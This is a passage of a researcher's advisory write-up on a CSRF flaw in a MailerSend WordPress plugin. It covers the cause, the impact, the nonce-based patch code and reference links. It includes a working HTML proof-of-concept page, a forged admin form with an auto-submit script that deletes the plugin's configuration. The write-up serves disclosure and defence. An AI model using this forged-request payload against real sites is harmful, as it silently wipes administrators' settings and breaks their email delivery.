In HTTP sessions, when an administrator is authenticated in WordPress, their browser automatically appends their session cookies (wordpress_logged_in_*) to any request directed at the target domain — even if that request was initiated from an external third-party webpage. Without a unique, unpredictable anti-CSRF token (WordPress Nonce via wp_verify_nonce()), the backend cannot differentiate between a legitimate click within the WordPress dashboard and a background request forged by an attacker.

— -

💻 Proof-of-Concept (PoC) Exploit Code

Ethical & Legal Disclaimer: This proof-of-concept payload is provided strictly for educational verification, defensive analysis, and authorized security auditing under ethical disclosure protocols by Huynh Kien Minh. Never execute against systems without explicit permission.

An attacker can host the following HTML page on an external domain. If a logged-in WordPress Administrator visits or is lured to this page (via phishing, comment link, or hidden iframe), the browser will silently trigger the configuration deletion pipeline:

<!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8">
<title>CVE-2026–13156 — CSRF Verification PoC by Huynh Kien Minh</title>
</head>
<body>
<h1>Security Assessment PoC: CVE-2026–13156</h1>
<p>Targeting MailerSend SMTP Integration (< 1.0.8) settings deletion without nonce verification.</p>

<! — Forged form targeting the vulnerable admin action →
<form id=”csrfPoC” action=”http://target-wordpress-site.local/wp-admin/admin.php" method=”GET”>
<input type=”hidden” name=”page” value=”mailersend-smtp” />
<input type=”hidden” name=”action” value=”configuration-delete” />
<! — No _wpnonce token required due to CVE-2026–13156 →
<input type=”submit” value=”Execute CSRF Exploit” />
</form>

<script>
// Silently submit the forged request as soon as the administrator’s browser loads the DOM
document.addEventListener(“DOMContentLoaded”, function() {
console.log(“[CVE-2026–13156] Executing CSRF Exploit PoC developed by Huynh Kien Minh…”);
// document.getElementById(‘csrfPoC’).submit(); // Uncomment to test inside isolated lab
});
</script>
</body>
</html>

— -

💥 Real-World Impact & Threat Scenarios

Why is a “Settings Deletion” vulnerability rated with such high severity in enterprise environments?

Total Email Delivery Breakdown: WordPress sites rely on SMTP integrations for critical transactional emails: password reset tokens, multi-factor authentication (MFA) codes, WooCommerce purchase receipts, and security alerts. Wiping the MailerSend API configuration instantly breaks all outgoing mail traffic.
Stealthy Application Denial of Service (DoS): Because the action also triggers deactivate_plugins(), the MailerSend plugin is turned off entirely. The site administrator may not immediately realize why transactional emails have stopped flowing, leading to prolonged operational disruption and financial loss.
Precursor to Account Takeover: In complex attack chains, forcing a site’s email infrastructure offline prevents legitimate administrators or users from receiving security warning emails when unauthorized account modification attempts occur.

— -

🛡️ Remediation & Defensive Engineering

For System Administrators

Immediate Update: Upgrade MailerSend — Official SMTP Integration to version 1.0.8 or above immediately.
Administrative Session Hygiene: Avoid browsing untrusted websites while logged into a WordPress super-admin session. Use dedicated browser profiles or container tabs for administrative workflows.

For Plugin Developers: The Patch

In version 1.0.8, the development team remediated this vulnerability by implementing strict WordPress nonce verification prior to processing any state-changing action:

// Remediated Implementation in Version 1.0.8+
function mailersend_secure_configuration_delete() {
// 1. Verify user capability
if ( ! current_user_can( ‘manage_options’ ) ) {
wp_die( __( ‘Unauthorized access.’, ‘mailersend’ ), 403 );
}

// 2. ENFORCE CSRF NONCE VERIFICATION
if ( ! isset( $_GET[‘_wpnonce’] ) || ! wp_verify_nonce( $_GET[‘_wpnonce’], ‘mailersend_delete_config_nonce’ ) ) {
wp_die( __( ‘Security check failed: Invalid or expired CSRF token.’, ‘mailersend’ ), 403 );
}

// 3. Safe to proceed with action
delete_option( ‘mailersend_smtp_settings’ );
deactivate_plugins( plugin_basename( __FILE__ ) );

wp_redirect( admin_url( ‘plugins.php?deactivated=true’ ) );
exit;
}

By enforcing wp_verify_nonce(), any forged request originating from an external origin will fail the token check and be rejected with an HTTP 403 error before any database or plugin changes occur.

— -

🌐 Verify & Connect with Huynh Kien Minh

As an Information Security student and bug bounty hunter committed to strengthening digital infrastructures, I publish comprehensive vulnerability breakdowns, proof-of-concepts, and defensive research across my official channels.

To verify this advisory or discuss collaboration opportunities:

🏠 Official Security Hub: https://minhhk.web.app/
🛡️ Official PoC Repository (CVE-2026–13156): github.com/MinhHK68/CVE-2026–13156
👨‍💻 GitHub Profile & Open-Source Projects: github.com/MinhHK68
💼 Professional Network (LinkedIn): linkedin.com/in/minhhk
🏆 Proton Security Hall of Fame Recognition: Proton Security Acknowledgments

— -

References & Official Advisories

WPScan Advisory: https://wpscan.com/vulnerability/595e653d-0904-43cf-8e61-d684599de11b/
CVE.org Record: https://www.cve.org/CVERecord?id=CVE-2026-13156
VulDB Entry: https://vuldb.com/cve/CVE-2026-13156
BaseFortify Report: https://basefortify.eu/cve_reports/2026/07/cve-2026-13156.html

— -

Authored and analyzed by *Huynh Kien Minh (alias: MinhHK)** — Information Security Student, Bug Bounty Hunter, and Cyber Security Researcher.*

DEV Community: Huynh Kien Minh

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13156 — MailerSend WordPress Plugin CSRF Settings Deletion

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13156 — MailerSend WordPress Plugin CSRF Settings Deletion

📖 Advisory Overview

📌 Executive Summary & Vulnerability Overview

🔍 Deep-Dive Technical Breakdown & Root Cause Analysis

Missing Nonce Verification Vulnerability

💻 Proof-of-Concept (PoC) Exploit Code

🛡️ Remediation & Patch Analysis

🏆 About the Researcher

📊 JSON-LD Schema Markup

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

📖 Advisory Overview

📌 Executive Summary & Technical Metadata

🔍 Root Cause Analysis: Unsanitized Administrative Uploads

Vulnerable Code Implementation

Technical Defect Breakdown

💻 Proof-of-Concept (PoC) Exploit Code

Exploit Payload (poc_rce.php)

Automated Python Verification Script

💥 Real-World Impact & Threat Scenarios

🛡️ Remediation & Defensive Engineering

Plugin Update

Patch Implementation (For Developers)

🏆 About the Researcher

📊 JSON-LD Schema Markup

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload to Remote Code Execution

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload to Remote Code Execution

📖 Advisory Overview

📌 Executive Summary & Technical Metadata

🔍 Root Cause & Code Analysis: Disabling Core MIME Guardrails

💻 Exploit Proof of Concept (PoC)

Auditing Prerequisites

Step-by-Step Reproduction Walkthrough

💥 Threat Modeling & Enterprise Multisite Impact

🛡️ Remediation & Defensive Patch Architecture

Secure Remediation Implementation

🏆 About the Researcher

📊 Structured Metadata (JSON-LD)

Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation

📌 Executive Summary

Technical Metadata Overview

🔍 Root Cause Analysis: The Architecture of Unsanitized Meta Keys

Code Vulnerability Mechanism

Exploit Mechanics

💻 Proof-of-Concept (PoC) Exploit Code

💥 Real-World Impact & Threat Scenarios

🛡️ Remediation & Defensive Engineering

For Site Administrators

For Plugin Developers (The Patch)

🏆 About the Researcher (E-E-A-T QRG 2025 Framework)

📊 JSON-LD Structured Data Schema Markup

Deep-Dive Technical Write-up: CVE-2026–13156 — MailerSend WordPress Plugin CSRF Settings Deletion & Denial of Service Analysis by Huynh Kien Minh

📌 Executive Summary & Vulnerability Overview

🔍 Root Cause Analysis: The Architecture of Missing Nonces

The Flaw in Administrative Action Registration

💻 Proof-of-Concept (PoC) Exploit Code

💥 Real-World Impact & Threat Scenarios

🛡️ Remediation & Defensive Engineering

For System Administrators

For Plugin Developers: The Patch

🌐 Verify & Connect with Huynh Kien Minh

References & Official Advisories

Exploit Payload (`poc_rce.php`)